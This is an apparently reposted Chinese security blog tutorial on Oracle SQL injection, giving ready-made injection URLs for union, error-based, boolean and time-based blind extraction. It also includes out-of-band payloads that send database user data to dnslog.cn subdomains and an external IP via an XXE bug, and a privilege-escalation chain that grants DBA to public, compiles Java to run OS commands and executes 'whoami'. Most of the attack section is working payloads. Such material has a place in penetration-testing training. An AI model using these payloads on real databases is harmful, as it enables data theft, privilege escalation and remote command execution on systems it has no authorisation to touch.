文章源自-投稿
作者-lbug
扫描下方二维码进入社区:
1、基本概念
Oracle和MySQL数据库语法大致相同,结构不太相同,对于“数据库”这个概念而言,Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库。当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP。
1. SYSTEM:这个用于是存储系统表和管理配置等基本信息
2. SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担
3. UNDOTBS:用于事务回退等
4. TEMP:作为缓存空间减少内存负担
5. USERS:就是存储我们定义的表和数据
在Oracle中每个表空间中都存在一张dual名称的表,这张表并没有实际的存储意义,因为Oracle的SQL语法要求select后必须跟上from,所以我们通常使用dual来进行注入,例如:select 1+1 from dual。
再来看Oracle中用户和权限划分:Oracle 中划分了许多用户权限,我们称之为角色。例如 CONNECT 角色具有连接到数据库权限,RESOURCE 能进行基本的增删改查,DBA 则集合了所有的用户权限。在创建数据库时,会默认启用 sys、system 等用户:
1. sys:相当于 Linux 下的 root 用户。为 DBA 角色
2. system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。
3. public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)
2、基本语法
select column, group_function(column)
from table
[where condition]
[group by group_by_expression]
[having group_condition]
[order by column];
1、Oracle要求select后必须指明要查询的表名,可以用dual。
2、Oracle使用 || 拼接字符串,MySQL中为或运算。
单引号和双引号在Oracle中虽然都是字符串,但是双引号可以用来消除关键字,比如sysdate。
3、Oracle中limit应该使用虚表中的rownum字段通过where条件判断。
4、Oracle中没有空字符,''和’null’都是null,而MySQL中认为''是一个字符串。
Oracle的系统表:
– dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
– all_tables : 当前用户有权限的表的信息
– user_tables: 当前用户名下的表的信息
– DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
– ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
– USER_ALL_TABLES:某一用户所拥有的对象和表
DBA_TABLES >= ALL_TABLES >= USER_TABLES
3、注入类型
3.1. 联合查询
1、order by 猜字段数量
union select进行查询,需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位,然后逐位判断每个字段的类型,比如:
http://localhost:8080/oracleInject/index?username=admin' union select null,null,null from dual -- 正常
http://localhost:8080/oracleInject/index?username=admin' union select 1,null,null from dual -- 正常说明第一个字段是数字型
http://localhost:8080/oracleInject/index?username=admin' union select 1,2,null from dual -- 第二个字段为数字时错误
http://localhost:8080/oracleInject/index?username=admin' union select 1,'asd',null from dual -- 正常 为字符串 依此类推
SQL
2、查数据库版本和用户名
http://localhost:8080/oracleInject/index?username=admin' union select 1,(select user from dual),(SELECT banner FROM v$version where banner like 'Oracle%25') from dual --
3、查当前数据库
http://localhost:8080/oracleInject/index?username=admin' union select 1,(SELECT global_name FROM global_name),null from dual --
4、查表
wmsys.wm_concat()等同于MySQL中的group_concat(),在11gr2和12C上已经抛弃,可以用LISTAGG()替代
http:
//localhost:8080/oracleInject/index?username=admin' union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='SYSTEM'),null from dual --
但是LISTAGG()返回的是varchar类型,如果数据表很多会出现字符串长度过长的问题。这个时候可以使用通过字符串截取来进行。
5、查字段
http://localhost:8080/oracleInject/index?username=admin' union select 1,(select column_name from all_tab_columns where table_name='TEST' and rownum=2),null from dual --
有表名字段名出数据就不说了。
3.2. 报错注入
utl_inaddr.get_host_name
select utl_inaddr.get_host_name((select user from dual)) from dual;
11g之后,使用此函数的数据库用户需要有访问网络的权限
ctxsys.drithsx.sn
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
处理文本的函数,参数错误时会报错。
CTXSYS.CTX_REPORT.TOKEN_TYPE
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;
XMLType
http://localhost:8080/oracleInject/index?username=admin' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
注意url编码,如果返回的数据有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出。
dbms_xdb_version.checkin
select dbms_xdb_version.checkin((select user from dual)) from dual;
dbms_xdb_version.makeversioned
select dbms_xdb_version.makeversioned((select user from dual)) from dual;
dbms_xdb_version.uncheckout
select dbms_xdb_version.uncheckout((select user from dual)) from dual;
dbms_utility.sqlid_to_sqlhash
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;
ordsys.ord_dicom.getmappingxpath
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;
UTL_INADDR.get_host_name
select UTL_INADDR.get_host_name((select user from dual)) from dual;
UTL_INADDR.get_host_address
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;
3.3. 盲注
布尔盲注
布尔盲注第一种是可以使用简单的字符串比较来进行,比如:
http://localhost:8080/oracleInject/index?username=admin' and (select substr(user, 1, 1) from dual)='S' --
然后还有一种是通过decode配合除数为0来进行布尔盲注。
http://localhost:8080/oracleInject/index?username=admin' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) --
时间盲注
1、大量数据
select count(*) from all_objects
缺点就是不准。
2、时间延迟函数
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('asd', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;
SQL
还可以配合decode
select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual;
3.4. 带外盲注
类似于MySQL load_file的带外盲注。OOB 都需要发起网络请求的权限,有限制。
utl_http.request 需要出外网HTTP
utl_inaddr.get_host_address dns解析带外
select utl_inaddr.get_host_address((select user from dual)||'.cbb1ya.dnslog.cn') from dual
SYS.DBMS_LDAP.INIT 这个函数在 10g/11g 中是 public 权限.
SELECT DBMS_LDAP.INIT((select user from dual)||'.24wypw.dnslog.cn',80) FROM DUAL;
HTTPURITYPE
SELECT HTTPURITYPE((select user from dual)||'.24wypw.dnslog.cn').GETCLOB() FROM DUAL;
其他
如果 Oracle 版本 <= 10g,可以尝试以下函数:
1. UTL_INADDR.GET_HOST_ADDRESS
2. UTL_HTTP.REQUEST
3. HTTP_URITYPE.GETCLOB
4. DBMS_LDAP.INIT and UTL_TCP
Oracle XXE (CVE-2014-6577)
说是xxe,实际上应该算是利用xml的加载外部文档来进行数据带外。支持http和ftp
1. http
select 1 from dual where 1=(select extractvalue(xmltype('<?xml
version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote
SYSTEM "http://192.168.124.1/'||(SELECT user from
dual)||'"> %remote;]>'),'/l') from dual);
2、ftp
select extractvalue(xmltype('<?xml version="1.0"
encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM
"ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;
4、提权
GET_DOMAIN_INDEX_TABLES函数注入
影响版本:
Oracle 8.1.7.4,
Oracle9.2.0.1 – 9.2.0.7,
Oracle10.1.0.2 – 10.1.0.4,
Oracle10.2.0.1-10.2.0.2
漏洞的成因是该函数的参数存在注入,而该函数的所有者是sys,所以通过注入就可以执行任意sql,该函数的执行权限为public,所以只要遇到一个oracle的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。
1、权限提升
http://localhost:8080/oracleInject/index?username=admin' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null--
SQL
2、创建Java代码执行命令
http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
3、赋予Java执行权限
http://localhost:8080/oracleInject/index?username=admin' and (select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
4、创建函数
http://localhost:8080/oracleInject/index?username=admin' and (select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null --
5、赋予函数执行权限
http://localhost:8080/oracleInject/index?username=admin' and (select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
6、执行命令
http://localhost:8080/oracleInject/index?username=admin' and (select sys.cmd('cmd.exe /c whoami') from dual) is not null--
xml反序列化绕过JVM执行命令 CVE-2018-3004
如果当前数据库用户具有connect和resource权限,则可以尝试使用反序列化来进行执行命令。Oracle Enterprise Edition 有一个嵌入数据库的Java虚拟机,而Oracle数据库则通过Java存储过程来支持Java的本地执行。
--create or replace function get_java_property(prop in varchar2) return varchar2-- is language java name 'java.lang.System.getProperty(java.lang.String) return java.lang.String';--/select get_java_property('java.version') from dual;
原作者写的是java.name.System,这里应该使用java.lang.System
虽然你以为可以执行Java代码了,直接冲Runtime.getRuntime().exec()就完事了,但是实际上Oracle对权限进行了细致的划分,并不能直接冲。我们可以用一个xml的反序列化来冲。
通知!
公众号招募文章投稿小伙伴啦!只要你有技术有想法要分享给更多的朋友,就可以参与到我们的投稿计划当中哦~感兴趣的朋友公众号首页菜单栏点击【商务合作-我要投稿】即可。期待大家的参与~
记得扫码
关注我们
本文始发于微信公众号(字节脉搏实验室):回归朴素、oracle注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论